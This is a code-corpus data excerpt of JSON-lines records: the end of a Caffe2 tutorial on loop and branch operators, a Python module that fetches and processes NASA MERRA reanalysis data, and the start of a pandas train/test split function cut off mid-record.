ops.Copy(ops.Const(0), \"i\")\n    ops.Copy(ops.Const(1), \"one\")\n    ops.Copy(ops.Const(2), \"two\")\n    ops.Copy(ops.Const(2.0), \"x\")\n    ops.Copy(ops.Const(3.0), \"y\")\n    ops.Copy(ops.Const(2.0), \"z\")\n    # computes x^4, y^2, z^3\n    with ops.WhileNet():\n        with ops.Condition():\n            ops.Add([\"i\", \"one\"], \"i\")\n            ops.LE([\"i\", \"two\"])\n        ops.Pow(\"x\", \"x\", exponent=2.0)\n        with ops.IfNet(ops.LT([\"i\", \"two\"])):\n            ops.Pow(\"y\", \"y\", exponent=2.0)\n        with ops.Else():\n            ops.Pow(\"z\", \"z\", exponent=3.0)\n\n    ops.Add([\"x\", \"y\"], \"x_plus_y\")\n    ops.Add([\"x_plus_y\", \"z\"], \"s\")\n\nassert len(nb.get()) == 1, \"Expected a single net produced\"\nnet = nb.get()[0]\n\ngrad_map = net.AddGradientOperators([\"s\"])\n\n\n# In[18]:\n\n\nworkspace.RunNetOnce(net)\nprint(\"x = \", FetchBlob(\"x\"))\nprint(\"x_grad = \", FetchBlob(\"x_grad\")) # 4x^3\nprint(\"y = \", FetchBlob(\"y\"))\nprint(\"y_grad = \", FetchBlob(\"y_grad\")) # 2y\nprint(\"z = \", FetchBlob(\"z\"))\nprint(\"z_grad = \", FetchBlob(\"z_grad\")) # 3z^2\n\n\n# ### Implementation Notes\n\n# On the low level, Caffe2 uses the following set of operators to implement forward and backward branching and loops:\n# - If - accepts *then_net* and *else_net* nets as arguments and executes one of them, depending on input condition blob value, nets are executed **in the same** workspace;\n# - While - repeats execution of *loop_net* net passed as argument, net is executed in the same workspace;\n# - Do - special operator that creates a separate inner workspace, setups blob mappings between outer and inner workspaces and runs a net in an inner workspace;\n# - CreateScope/HasScope - special operators that create and keep track of workspaces used by Do operator.\n# \n# Higher level libraries that implement branching and looping (e.g. in NetBuilder, Brew), use these operators to build control flow, e.g. for 'If':\n#  - do necessary sanity checks (e.g. determine which blobs are initialized and check that subnet does not read undefined blobs)\n#  - wrap 'then' and 'else' branches into Do\n#  - setup correct blob mappings by specifying which local names are mapped to outer blobs\n#  - prepare scope structure, used by Do operator\n# \n# While 'If' and 'While' Caffe2 ops can be used directly without creating local block workspaces, we encourage users to use higher level Caffe2 interfaces that provide necessary correctness guarantees.\n# \n# Backpropagation for 'While' in general is expensive memory-wise - we have to save local workspace for every iteration of a block, including global blobs visible to the block. It is recommended that users use RecurrentNetwork operator instead in production environments.\n\n", "meta": {"hexsha": "76e61e6442c2007f149affe1bc3633339d82354c", "size": 12060, "ext": "py", "lang": "Python", "max_stars_repo_path": "caffe2/python/tutorials/py_gen/Control_Ops.py", "max_stars_repo_name": "AIHGF/caffe2", "max_stars_repo_head_hexsha": "b9e61b72cd460f4c9f644294a7bf0b6306df17fc", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 58, "max_stars_repo_stars_event_min_datetime": "2019-01-03T02:20:41.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-25T14:24:13.000Z", "max_issues_repo_path": "caffe2/python/tutorials/py_gen/Control_Ops.py", "max_issues_repo_name": "mingzhe09088/caffe2", "max_issues_repo_head_hexsha": "8f41717c46d214aaf62b53e5b3b9b308b5b8db91", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 6, "max_issues_repo_issues_event_min_datetime": "2019-02-12T03:52:08.000Z", "max_issues_repo_issues_event_max_datetime": "2020-12-17T02:40:37.000Z", "max_forks_repo_path": "caffe2/python/tutorials/py_gen/Control_Ops.py", "max_forks_repo_name": "mingzhe09088/caffe2", "max_forks_repo_head_hexsha": "8f41717c46d214aaf62b53e5b3b9b308b5b8db91", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 5, "max_forks_repo_forks_event_min_datetime": "2019-01-03T06:46:04.000Z", "max_forks_repo_forks_event_max_datetime": "2019-10-29T07:40:11.000Z", "avg_line_length": 36.5454545455, "max_line_length": 421, "alphanum_fraction": 0.6873963516, "include": true, "reason": "import numpy", "num_tokens": 3127, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.40733340004593027, "lm_q2_score": 0.13660838299605804, "lm_q1q2_score": 0.05564515712056097}}
{"text": "\"\"\"\nFunctions to read and save MERRA reanalysis data.\n\nConvention for function names\n  Starts with - read_ : Read from OpenDAP url(s)\n              - load_ : Load from locally saved files\n\"\"\"\n\nfrom __future__ import division\nimport numpy as np\nimport xarray as xray\nimport collections\nimport os\nimport pandas as pd\nimport urllib2\nfrom bs4 import BeautifulSoup\n\nimport sys\nsys.path.append('/home/jwalker/dynamics/python/atmos-tools')\nimport atmos as atm\nfrom atmos import print_if\n\n\n# ======================================================================\n# Lists of variable IDs and OpenDAP urls for data files\n# ======================================================================\n\n# ----------------------------------------------------------------------\ndef get_varname(var_id):\n    \"\"\"Return the variable name in MERRA naming convention.\n\n    Parameters\n    ----------\n    var_id : {'u', 'v', 'omega', 'hgt', 'T', 'q', 'ps', 'evap', 'precip'}\n    \"\"\"\n\n    var_dict = {'u' : 'U', 'v' : 'V', 'omega' : 'OMEGA', 'hgt' : 'H',\n                'T' : 'T', 'q' : 'QV', 'ps' : 'PS', 'evap' : 'EVAP',\n                'precip' : 'PRECTOT'}\n\n    if var_id in var_dict:\n        return var_dict[var_id]\n    else:\n        return var_id\n\n\n# ----------------------------------------------------------------------\ndef url_opts(var_id, version='merra'):\n    \"\"\"Return the dataset options to determine URLs for a variable.\n\n    See get_url() documentation for more info.\n    \"\"\"\n\n    varnm = get_varname(var_id)\n\n    p_res = {'merra' : 'C', 'merra2' : 'N'}[version]\n\n    optlist = {'int_t' : ('X', 'N', 'T', 'INT'),\n               'int_i' : ('X', 'N', 'I', 'INT'),\n               'flx_t' : ('X', 'N', 'T', 'FLX'),\n               'slv_t' : ('X', 'N', 'T', 'SLV'),\n               'asm_i' : ('P', p_res, 'I', 'ASM'),\n               'udt_t' : ('P', p_res, 'T', 'UDT'),\n               'rad_t' : ('X', 'N', 'T', 'RAD')}\n\n    optkeys = {}\n    for nm in ['UFLXQV', 'VFLXQV', 'UFLXCPT', 'VFLXCPT', 'UFLXPHI', 'VFLXPHI',\n               'DQVDT_ANA']:\n        optkeys[nm] = 'int_t'\n    for nm in ['TQV']:\n        optkeys[nm] = 'int_i'\n    for nm in ['PRECTOT', 'EVAP', 'EFLUX', 'HFLUX', 'ULML', 'VLML', 'QLML',\n               'TLML', 'HLML']:\n        optkeys[nm] = 'flx_t'\n    for nm in ['PS', 'SLP']:\n        optkeys[nm] = 'slv_t'\n    for nm in ['U', 'V', 'OMEGA', 'T', 'QV', 'H']:\n        optkeys[nm] = 'asm_i'\n    for nm in ['DUDTANA', 'DVDTANA']:\n        optkeys[nm] = 'udt_t'\n    for nm in [u'Var_ALBNIRDF', u'Var_SWTNTCLN', u'Var_TAUTOT', u'LWGAB',\n               u'CLDTOT', u'Var_ALBNIRDR', u'Var_LWTUPCLR', u'ALBNIRDF',\n               u'Var_LWGNT', u'SWTDN', u'EMIS', u'LWTUPCLRCLN', u'SWTNTCLR',\n               u'CLDHGH', u'Var_LWTUPCLRCLN', u'Var_SWTNTCLRCLN',\n               u'Var_LWGNTCLRCLN', u'Var_SWGNTCLRCLN', u'Var_TAULOW',\n               u'LWGABCLR', u'Var_ALBVISDF', u'LWGABCLRCLN', u'Var_ALBVISDR',\n               u'Var_TAUHGH', u'Var_SWGDNCLR', u'Var_SWTDN', u'LWGNTCLRCLN',\n               u'Var_CLDLOW', u'SWGNTCLRCLN', u'Var_LWGABCLR', u'Var_CLDTOT',\n               u'TS', u'SWGNT', u'TAUMID', u'ALBEDO', u'SWGNTCLR', u'SWGNTCLN',\n               u'LWGNTCLR', u'Var_ALBEDO', u'SWGDNCLR', u'ALBVISDF',\n               u'LWTUPCLR', u'TAUTOT', u'LWGNT', u'CLDLOW', u'ALBVISDR',\n               u'Var_CLDMID', u'Var_LWGNTCLR', u'SWTNTCLRCLN', u'TAUHGH',\n               u'TAULOW', u'Var_LWGEM', u'Var_SWGNTCLN', u'Var_TAUMID',\n               u'Var_SWTNT', u'Var_SWGNT', u'Var_LWTUP', u'Var_SWTNTCLR',\n               u'Var_SWGNTCLR', u'SWGDN', u'Var_LWGAB', u'LWGEM', u'Var_CLDHGH',\n               u'CLDMID', u'Var_EMIS', u'SWTNTCLN', u'ALBNIRDR', u'Var_SWGDN',\n               u'SWTNT', u'LWTUP', u'Var_LWGABCLRCLN', u'Var_TS']:\n        optkeys[nm] = 'rad_t'\n    vertical, res, time_kind, kind = optlist[optkeys[varnm]]\n    opts = {'version' : version, 'vertical' : vertical, 'res' : res,\n            'time_kind' : time_kind, 'kind' : kind}\n\n    return opts\n\n\n# ----------------------------------------------------------------------\ndef scrape_url(url, ending='.hdf.html', cut='.html'):\n    \"\"\"Scrape url for links with specified ending string.\"\"\"\n\n    soup = BeautifulSoup(urllib2.urlopen(url))\n    links = []\n    for link in soup.find_all('a'):\n        links.append(link.get('href'))\n\n    links = list(set([s for s in links if s.endswith(ending)]))\n    if cut is not None:\n        links = [s.split(cut)[0] for s in links]\n    return links\n\n\n# ----------------------------------------------------------------------\ndef extract_date(filename, width, ending='.hdf'):\n    \"\"\"Extract yyyymmdd or yyyymm from file name.\"\"\"\n    s = filename.split(ending)[0]\n    date = s[-width:]\n    return date\n\n\n# ----------------------------------------------------------------------\ndef get_urls(years, months=None, version='merra', varnm='U', opts=None,\n             monthly=False):\n    \"\"\"Return dict of OpenDAP urls for MERRA and MERRA-2 daily data.\n\n    Parameters\n    ----------\n    years : list or np.ndarray\n        List of years to extract urls for.\n    months: list or np.ndarray, optional\n        List of months to extract urls for.  If None, then all months (1-12)\n        are extracted.\n    version : {'merra', 'merra2'}, optional\n        Select MERRA or MERRA-2 data.\n    varnm : str, optional\n        Variable ID.  If None, then the options in the input parameter opts\n        are used. If not None, then opts are determined using url_opts(varnm)\n        and override any value provided to input opts.\n    opts : dict, optional\n        Provide the dataset options rather than calling url_opts(varnm).\n        The key : value pairs of opts are:\n            'vertical' : 'P', 'X', 'V', or 'E'\n                Vertical location : on pressure levels (P), 2-D (X), model\n                layers (V), or model layer edges (E).\n            'res' : 'N' or 'C'\n                Horizontal resolution: native (N) or coarse (C).\n            'time_kind' : 'I' or 'T'\n                Instantaneous (I) or time-averaged (T) diagnostics.\n            'kind' : 'ASM', 'SLV', 'FLX', or 'RAD'\n                Type of dataset: assimilated 3-d (ASM), atmospheric single-level\n                (SLV), surface turbulent fluxes (FLX), or surface and TOA\n                radiation fluxes (RAD).\n    monthly : bool, optional\n        If True, return urls for monthly data.  Otherwise return urls\n        for daily data.\n\n    Returns\n    -------\n    urls : dict of date:url for each date in the dataset\n    \"\"\"\n\n    if varnm is not None:\n        opts = url_opts(varnm, version)\n\n    # Dataset options\n    version = version.lower()\n    time_kind = opts['time_kind'].upper()\n    res = opts['res'].upper()\n    vertical = opts['vertical'].upper()\n    kind = opts['kind'].upper()\n\n    # Make dicts of years and months\n    yearvals = atm.makelist(years)\n    years = {y : '%d' % y for y in yearvals}\n    if months is None:\n        monthvals = range(1, 13)\n    else:\n        monthvals = atm.makelist(months)\n    months = {m : '%02d' % m for m in monthvals}\n\n    urlstr = 'http://goldsmr%d.sci.gsfc.nasa.gov/opendap/%s/%s'\n    dirname = version.upper()\n    if monthly:\n        dirname = dirname + '_MONTHLY'\n    servers = {'merra_X' : urlstr % (2, dirname, 'MA'),\n               'merra' : urlstr % (3, dirname, 'MA'),\n               'merra2_X' : urlstr % (4, dirname, 'M2'),\n               'merra2' : urlstr % (5, dirname, 'M2')}\n    version_num = {'merra' : '.5.2.0/', 'merra2' : '.5.12.4/'}\n    fmts = {'merra' : '.hdf', 'merra2' : '.nc4'}\n\n    if vertical == 'X':\n        time_res = '1'\n        server_key = version + '_X'\n    else:\n        time_res = '3'\n        server_key = version\n    if monthly:\n        time_res = 'M'\n\n    try:\n        basedir = servers[server_key]\n        vnum = version_num[version]\n        fmt = fmts[version]\n    except KeyError:\n        raise ValueError('Invalid version %s.  Options are: merra, merra2.' %\n                         version)\n\n    basedir = basedir + time_kind + time_res + res + vertical + kind + vnum\n    print('Scraping filenames from ' + basedir)\n\n    # Helper function to make daily urls\n    def daily_urls(basedir, years, months, fmt):\n        url_dict = collections.OrderedDict()\n        for y in years:\n            for m in months:\n                print(years[y] + months[m])\n                dirname = basedir + years[y] + '/' + months[m] + '/'\n                files = scrape_url(dirname + 'contents.html',\n                                   ending=fmt + '.html')\n                files.sort()\n                dates = [extract_date(nm, width=8, ending=fmt) for nm in files]\n                for date, nm in zip(dates, files):\n                    url_dict[date] = dirname + nm\n        return url_dict\n\n    # Helper function to make monthly urls\n    def monthly_urls(basedir, years, months, fmt):\n        url_dict = collections.OrderedDict()\n        for y in years:\n            dirname = basedir + years[y] + '/'\n            files = scrape_url(dirname, ending=fmt + '.html')\n            files.sort()\n            dates = [extract_date(nm, width=6, ending=fmt) for nm in files]\n            yr_dict = {date : nm for (date, nm) in zip(dates, files)}\n            for m in months:\n                date = years[y] + months[m]\n                url_dict[date] = dirname + yr_dict[date]\n        return url_dict\n\n    # Extract urls\n    if monthly:\n        urls = monthly_urls(basedir, years, months, fmt)\n    else:\n        urls = daily_urls(basedir, years, months, fmt)\n\n    return urls\n\n# ======================================================================\n# All functions below need to be revised to work with new get_urls\n# ======================================================================\n\n# ----------------------------------------------------------------------\ndef read_daily(var_ids, year, month, days=None, concat_dim='TIME',\n               subset_dict=None, verbose=True):\n    \"\"\"Return MERRA daily pressure-level data for selected variable(s).\n\n    Reads daily MERRA data from OpenDAP urls and concatenates into a\n    single DataArray or Dataset for the selected days of the month.\n\n    Parameters\n    ----------\n    var_ids : str or list of str\n        Variable ID(s).  Can be generic ID from the list below, in which\n        case get_varname() is called to get the specific ID for MERRA. Or\n        var_id can be the exact name as it appears in MERRA data files.\n        Generic IDs:\n          {'u', 'v', 'omega', 'hgt', 'T', 'q', 'ps', 'evap', 'precip'}\n    year, month : int\n        Numeric year and month (1-12).\n    days : list of ints, optional\n       Subset of days to read. If None, all days are included.\n    concat_dim : str, optional\n        Name of dimension for concatenation.\n    subset_dict : dict of 2-tuples, optional\n        Dimensions and subsets to extract.  Each entry in subset_dict\n        is in the form {dim_name : (lower_or_list, upper)}, where:\n        - dim_name : string\n            Name of dimension to extract from.\n            The dimension name can be the actual dimension name\n            (e.g. 'XDim') or a generic name (e.g. 'lon') and get_coord()\n            is called to find the specific name.\n        - lower_or_list : scalar or list of int or float\n            If scalar, then used as the lower bound for the   subset range.\n            If list, then the subset matching the list will be extracted.\n        - upper : int, float, or None\n            Upper bound for subset range. If lower_or_list is a list,\n            then upper is ignored and should be set to None.\n    verbose : bool, optional\n        If True, print updates while processing files.\n\n    Returns\n    -------\n    data : xray.DataArray or xray.Dataset\n        Daily data (3-hourly or hourly) for the month or a selected\n        subset of days.\n    \"\"\"\n\n    var_ids = atm.makelist(var_ids)\n    var_nms = [get_varname(var_id) for var_id in var_ids]\n    dataset = get_dataset(var_ids[0], 'daily')\n    urls = url_list(dataset)\n\n    if days is None:\n        # All days in the month\n        dates = ['%d%02d' % (year, month)]\n    elif isinstance(days, int):\n        # Single day\n        dates = ['%d%02d%02d' % (year, month, days)]\n    else:\n        # Subset of days\n        dates = ['%d%02d%02d' % (year, month, d) for d in days]\n\n    paths = []\n    for date in dates:\n        paths.extend([urls[key] for key in urls.keys() if date in key])\n\n    data = atm.load_concat(paths, var_nms, concat_dim, subset_dict,\n                           verbose)\n    return data\n\n\n# ----------------------------------------------------------------------\ndef read_daily_eta(var_id, level, year, month, days=None, concat_dim='TIME',\n                   xsub='[330:2:450]', ysub='[60:2:301]', verbose=True):\n    \"\"\"Return MERRA daily eta-level data for a single variable.\n\n    Reads a single eta level of daily MERRA data from OpenDAP urls and\n    concatenates into a DataArray for the selected days of the month.\n\n    Parameters\n    ----------\n    var_id : str\n        Variable ID.  Can be generic ID from the list below, in which\n        case get_varname() is called to get the specific ID for MERRA. Or\n        var_id can be the exact name as it appears in MERRA data files.\n        Generic IDs:\n          {'u', 'v', 'omega', 'hgt', 'T', 'q', 'ps', 'evap', 'precip'}\n    level : int\n        Eta level to extract (0-71).  Level 71 is near-surface and level 0\n        is the top of atmosphere.\n    year, month : int\n        Numeric year and month (1-12).\n    days : list of ints, optional\n       Subset of days to read. If None, all days are included.\n    concat_dim : str, optional\n        Name of dimension for concatenation.\n    xsub, ysub : str, optional\n        Indices of longitude and latitude subsets to extract.\n    verbose : bool, optional\n        If True, print updates while processing files.\n\n    Returns\n    -------\n    data : xray.DataArray or xray.Dataset\n        Daily data (3-hourly or hourly) for the month or a selected\n        subset of days.\n    \"\"\"\n\n    varnm = get_varname(var_id)\n    tsub = '[0:1:3]'\n    zsub = '[%d:1:%d]' % (level, level)\n\n    def datafile(year, mon, day, varnm, xsub, ysub, zsub, tsub):\n        basedir = ('http://goldsmr3.sci.gsfc.nasa.gov:80/opendap/MERRA/'\n                   'MAI6NVANA.5.2.0/')\n        url = ('%s%d/%02d/MERRA100.prod.assim.inst6_3d_ana_Nv.%d%02d%02d.hdf'\n               '?%s%s%s%s%s,XDim%s,YDim%s,Height%s,TIME%s') % (basedir, year,\n               mon, year, mon, day, varnm, tsub, zsub, ysub, xsub, xsub, ysub,\n               zsub, tsub)\n        return url\n\n    if days is None:\n        days = range(1, atm.days_this_month(year, month) + 1)\n    urls = [datafile(year, month, day, varnm, xsub, ysub, zsub, tsub) for day\n            in atm.makelist(days)]\n\n    var = atm.load_concat(urls, varnm, concat_dim, verbose=verbose)\n\n    return var\n\n\n# ----------------------------------------------------------------------\ndef load_daily_season(pathstr, year, season='ann', var_ids=None,\n                      lat1=-90, lat2=90, lon1=0, lon2=360,\n                      verbose=True, concat_dim=None):\n    \"\"\"Return daily data for a selected year, season and lat-lon subset.\n\n    Loads daily data from locally saved files and concatenates it into\n    a single DataArray or Dataset for that year and season.\n\n    Parameters\n    ----------\n    pathstr : str\n       Beginning of path for each data file, where each file name is in\n       the format *yyyymm.nc.\n       e.g. pathstr = '~/datastore/merra/daily/u200_'\n    year : int\n       Year to load.\n    season : str, optional\n       Season to load. Valid values are as listed in atm.season_months()\n       e.g. 'jul', 'jja', 'ann'\n       Default is entire year ('ann')\n    var_ids : str or list of str, optional\n       Variable(s) to extract. If omitted, all variables in the data are\n       included and the output is a Dataset.\n    lat1, lat2, lon1, lon2 : floats, optional\n        Lat-lon subset to extract.\n    concat_dim : str, optional\n        Name of time dimension for concatenation. If None, then\n        atm.get_coord() is called to get the name from the data file.\n    verbose : bool, optional\n        If True, print updates while processing files.\n\n    Returns\n    -------\n    data : xray.DataArray or xray.Dataset\n    \"\"\"\n\n    months = atm.season_months(season)\n    paths = []\n    for m in months:\n        datestr = '%d%02d' % (year, m)\n        paths.append(pathstr + datestr + '.nc')\n\n    # Make sure longitude range is consistent with data\n    with xray.open_dataset(paths[0]) as ds:\n        lonmax = atm.lon_convention(atm.get_coord(ds, 'lon'))\n        if concat_dim is None:\n            concat_dim = atm.get_coord(ds, 'time', 'name')\n    if lon2 - lon1 == 360:\n        if lonmax < lon2:\n            offset = -180\n        elif lonmax > lon2:\n            offset = 180\n        else:\n            offset = 0\n        lon1, lon2 = lon1 + offset, lon2 + offset\n    print(lon1, lon2, lonmax)\n\n    # Load daily data\n    if var_ids is None:\n        var_nms = None\n    else:\n        var_nms = [get_varname(var_id) for var_id in atm.makelist(var_ids)]\n    subset_dict = {'lat' : (lat1, lat2), 'lon' : (lon1, lon2)}\n    data = atm.load_concat(paths, var_nms, concat_dim, subset_dict, verbose)\n\n    return data\n\n\n# ----------------------------------------------------------------------\ndef calc_fluxes(year, month,\n                var_ids=['u', 'q', 'T', 'theta', 'theta_e', 'hgt'],\n                concat_dim='TIME', scratchdir=None, keepscratch=False,\n                verbose=True):\n    \"\"\"Return the monthly mean of MERRA daily fluxes.\n\n    Reads MERRA daily data from OpenDAP urls, computes fluxes, and\n    returns the monthly mean of the daily variable and its zonal and\n    meridional fluxes.\n\n    Parameters\n    ----------\n    year, month : int\n        Numeric year and month (1-12).\n    var_ids : list of str, optional\n        IDs of variables to include.\n    concat_dim : str, optional\n        Name of dimension for concatenation.\n    scratchdir : str, optional\n        Directory path to store temporary files while processing data.\n        If omitted, the current working directory is used.\n    keepscratch : bool, optional\n        If True, scratch files are kept in scratchdir. Otherwise they\n        are deleted.\n    verbose : bool, optional\n        If True, print updates while processing files.\n\n    Returns\n    -------\n    data : xray.Dataset\n        Mean of daily data and the mean of the daily zonal fluxes\n        (u * var) and meridional fluxes (v * var), for each variable\n        in var_ids.\n    \"\"\"\n\n    nms = [get_varname(nm) for nm in atm.makelist(var_ids)]\n    u_nm, v_nm = get_varname('u'), get_varname('v')\n    nms.extend([u_nm, v_nm])\n    if 'theta' in nms:\n        nms.append(get_varname('T'))\n    if 'theta_e' in nms:\n        nms.extend([get_varname('T'), get_varname('q')])\n    nms = set(nms)\n\n    days = range(1, atm.days_this_month(year, month) + 1)\n\n    def scratchfile(nm, k, year, month, day):\n        filestr = '%s_level%d_%d%02d%02d.nc' % (nm, k, year, month, day)\n        if scratchdir is not None:\n            filestr = scratchdir + '/' + filestr\n        return filestr\n\n    # Read metadata from one file to get pressure-level array\n    dataset = 'p_daily'\n    url = url_list(dataset, return_dict=False)[0]\n    with xray.open_dataset(url) as ds:\n        pname = atm.get_coord(ds, 'plev', 'name')\n        plev = atm.get_coord(ds, 'plev')\n        # Pressure levels in Pa for theta/theta_e calcs\n        p_units = atm.pres_units(ds[pname].units)\n        pres = atm.pres_convert(plev, p_units, 'Pa')\n\n    # Get daily data (raw and calculate extended variables)\n    def get_data(nms, pres, year, month, day, concat_dim, subset_dict, verbose):\n        # Lists of raw and extended variables\n        ids = list(nms)\n        ext = []\n        for var in ['theta', 'theta_e']:\n            if var in ids:\n                ext.append(var)\n                ids.remove(var)\n\n        # Read raw data and calculate extended variables\n        data = read_daily(ids, year, month, day, concat_dim=concat_dim,\n                          subset_dict=subset_dict, verbose=verbose)\n        if 'theta' in ext:\n            print_if('Computing potential temperature', verbose)\n            T = data[get_varname('T')]\n            data['theta'] = atm.potential_temp(T, pres)\n        if 'theta_e' in ext:\n            print_if('Computing equivalent potential temperature', verbose)\n            T = data[get_varname('T')]\n            q = data[get_varname('q')]\n            data['theta_e'] = atm.equiv_potential_temp(T, pres, q)\n\n        return data\n\n    # Iterate over vertical levels\n    for k, p in enumerate(plev):\n        subset_dict = {pname : (p, p)}\n        print_if('Pressure-level %.1f' % p, verbose)\n\n        files = []\n\n        for day in days:\n            # Read data for this level and day\n            ds = get_data(nms, pres[k], year, month, day, concat_dim,\n                           subset_dict, verbose)\n\n            # Compute fluxes\n            print_if('Computing fluxes', verbose)\n            u = ds[get_varname('u')]\n            v = ds[get_varname('v')]\n            for nm in var_ids:\n                var = ds[get_varname(nm)]\n                varname, attrs, _, _ = atm.meta(var)\n                u_var = u * var\n                v_var = v * var\n\n                u_var.name = get_varname(u_nm) + '*' +  var.name\n                units = var.attrs['units'] + ' * ' + u.attrs['units']\n                u_var.attrs['units'] = units\n                v_var.name = get_varname(v_nm) + '*' +  var.name\n                v_var.attrs['units'] = units\n                ds[u_var.name] = u_var\n                ds[v_var.name] = v_var\n\n            # Save to temporary scratch file\n            filenm = scratchfile('fluxes', k, year, month, day)\n            files.append(filenm)\n            print_if('Saving to scratch file ' + filenm, verbose)\n            ds.to_netcdf(filenm)\n\n        # Concatenate daily scratch files\n        ds = atm.load_concat(files)\n\n        if not keepscratch:\n            for f in files:\n                os.remove(f)\n\n        # Compute monthly means\n        print_if('Computing monthly means', verbose)\n        if k == 0:\n            data = ds.mean(dim=concat_dim)\n        else:\n            data = xray.concat([data, ds.mean(dim=concat_dim)], dim=pname)\n\n    for var in data.data_vars:\n        data[var].attrs = ds[var].attrs\n\n    return data\n\n\n\n\n# ======================================================================\n# DEPRECATED\n# ======================================================================\n# ----------------------------------------------------------------------\ndef get_dataset(var_id, time_res='daily', default='p'):\n    \"\"\"Return the dataset ID corresponding to the variable.\n\n    Parameters\n    ----------\n    var_id : str\n        Variable name.  Can be a generic ID as input to get_varname(),\n        or a specific name from MERRA data files.\n    time_res : {'daily', 'monthly'}\n        Time resolution of dataset.\n    default : {'p', 'sfc'}\n        If the variable is in both pressure-level and surface flux\n        data, then default to this dataset type.\n\n    Returns\n    -------\n    dataset : {'p_monthly', 'p_daily', 'sfc_monthly', 'sfc_daily'}\n        Name of the dataset containing the variable (pressure-level\n        or surface fluxes), at the specified time resolution.\n    \"\"\"\n\n    var = get_varname(var_id)\n\n    p_vars = [u'SLP', u'PS', u'PHIS', u'H', u'O3', u'QV', u'QL', u'QI', u'RH',\n              u'T', u'U', u'V', u'EPV', u'OMEGA', u'Cov_U_V', u'Cov_U_T',\n              u'Cov_V_T', u'Cov_U_H', u'Cov_V_H', u'Cov_U_QV', u'Cov_V_QV',\n              u'Cov_U_QL', u'Cov_V_QL', u'Cov_U_QI', u'Cov_V_QI', u'Cov_U_EPV',\n              u'Cov_V_EPV', u'Cov_U_O3', u'Cov_V_O3', u'Cov_OMEGA_U',\n              u'Cov_OMEGA_V', u'Cov_OMEGA_T', u'Cov_OMEGA_QV', u'Cov_OMEGA_QL',\n              u'Cov_OMEGA_QI', u'Cov_OMEGA_O3', u'vsts', u'Var_SLP', u'Var_PS',\n              u'Var_PHIS', u'Var_H', u'Var_O3', u'Var_QV', u'Var_QL', u'Var_QI',\n              u'Var_RH', u'Var_T', u'Var_U', u'Var_V', u'Var_EPV', u'Var_OMEGA']\n\n    sfc_vars = [u'EFLUX', u'EVAP', u'HFLUX', u'TAUX', u'TAUY', u'TAUGWX',\n                u'TAUGWY', u'PBLH', u'DISPH', u'BSTAR', u'USTAR', u'TSTAR',\n                u'QSTAR', u'RI', u'Z0H', u'Z0M', u'HLML', u'TLML', u'QLML',\n                u'ULML', u'VLML', u'RHOA', u'SPEED', u'CDH', u'CDQ', u'CDM',\n                u'CN', u'TSH', u'QSH', u'FRSEAICE', u'PRECANV', u'PRECCON',\n                u'PRECLSC', u'PRECSNO', u'PRECTOT', u'PGENTOT', u'Var_EFLUX',\n                u'Var_EVAP', u'Var_HFLUX', u'Var_TAUX', u'Var_TAUY',\n                u'Var_TAUGWX', u'Var_TAUGWY', u'Var_PBLH', u'Var_DISPH',\n                u'Var_BSTAR', u'Var_USTAR', u'Var_TSTAR', u'Var_QSTAR',\n                u'Var_RI', u'Var_Z0H', u'Var_Z0M', u'Var_HLML', u'Var_TLML',\n                u'Var_QLML', u'Var_ULML', u'Var_VLML', u'Var_RHOA',\n                u'Var_SPEED', u'Var_CDH', u'Var_CDQ', u'Var_CDM', u'Var_CN',\n                u'Var_TSH', u'Var_QSH', u'Var_PRECANV', u'Var_PRECCON',\n                u'Var_PRECLSC', u'Var_PRECSNO', u'Var_PRECTOT', u'Var_PGENTOT']\n\n    if var in p_vars and var in sfc_vars:\n        dataset = default + '_' + time_res\n    elif var in p_vars:\n        dataset = 'p_' + time_res\n    elif var in sfc_vars:\n        dataset = 'sfc_' + time_res\n    else:\n        raise ValueError('var_id ' + var_id + ' not found.')\n\n    return dataset\n", "meta": {"hexsha": "aa3363dc134c1a5d00ad05c8580bf5d84ebed432", "size": 25407, "ext": "py", "lang": "Python", "max_stars_repo_path": "merra.py", "max_stars_repo_name": "jenfly/atmos-read", "max_stars_repo_head_hexsha": "0d7315b3ae12b649af298c43bbedbfc5b519afaa", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2018-03-30T20:39:52.000Z", "max_stars_repo_stars_event_max_datetime": "2019-01-02T19:16:08.000Z", "max_issues_repo_path": "merra.py", "max_issues_repo_name": "jenfly/atmos-read", "max_issues_repo_head_hexsha": "0d7315b3ae12b649af298c43bbedbfc5b519afaa", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "merra.py", "max_forks_repo_name": "jenfly/atmos-read", "max_forks_repo_head_hexsha": "0d7315b3ae12b649af298c43bbedbfc5b519afaa", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.0344311377, "max_line_length": 80, "alphanum_fraction": 0.5487464085, "include": true, "reason": "import numpy", "num_tokens": 6991, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.11124121682013352, "lm_q1q2_score": 0.05562060841006676}}
{"text": "from typing import Tuple\nimport numpy as np\nimport pandas as pd\nimport time\n\n\ndef split_train_test(X: pd.DataFrame, y: pd.Series, train_proportion: float = .75) \\\n        -> Tuple[pd.DataFrame, pd.Series, pd.DataFrame, pd.Series]:\n    \"\"\"\n    Randomly split given sample to a training- and testing sample\n\n    Parameters\n    ----------\n    X : DataFrame of shape (n_samples, n_features)\n        Data frame of samples and feature values.\n\n    y : Series of shape (n_samples, )\n        Responses corresponding samples in data frame.\n\n    train_proportion: Fraction of samples to be split as training set\n\n    Returns\n    -------\n    train_X : DataFrame of shape (ceil(train_proportion * n_samples), n_features)\n        Design matrix of train set\n\n    train_y : Series of shape (ceil(train_proportion * n_samples), )\n        Responses of training samples\n\n    test_X : DataFrame of shape (floor((1-train_proportion) * n_samples), n_features)\n        Design matrix of test set\n\n    test_y : Series of shape (floor((1-train_proportion) * n_samples), )\n        Responses of test samples\n\n    \"\"\"\n    # join X_y to shuffle them simultaneously and then seperate them again\n    y.name = 'labels'\n    X_y = 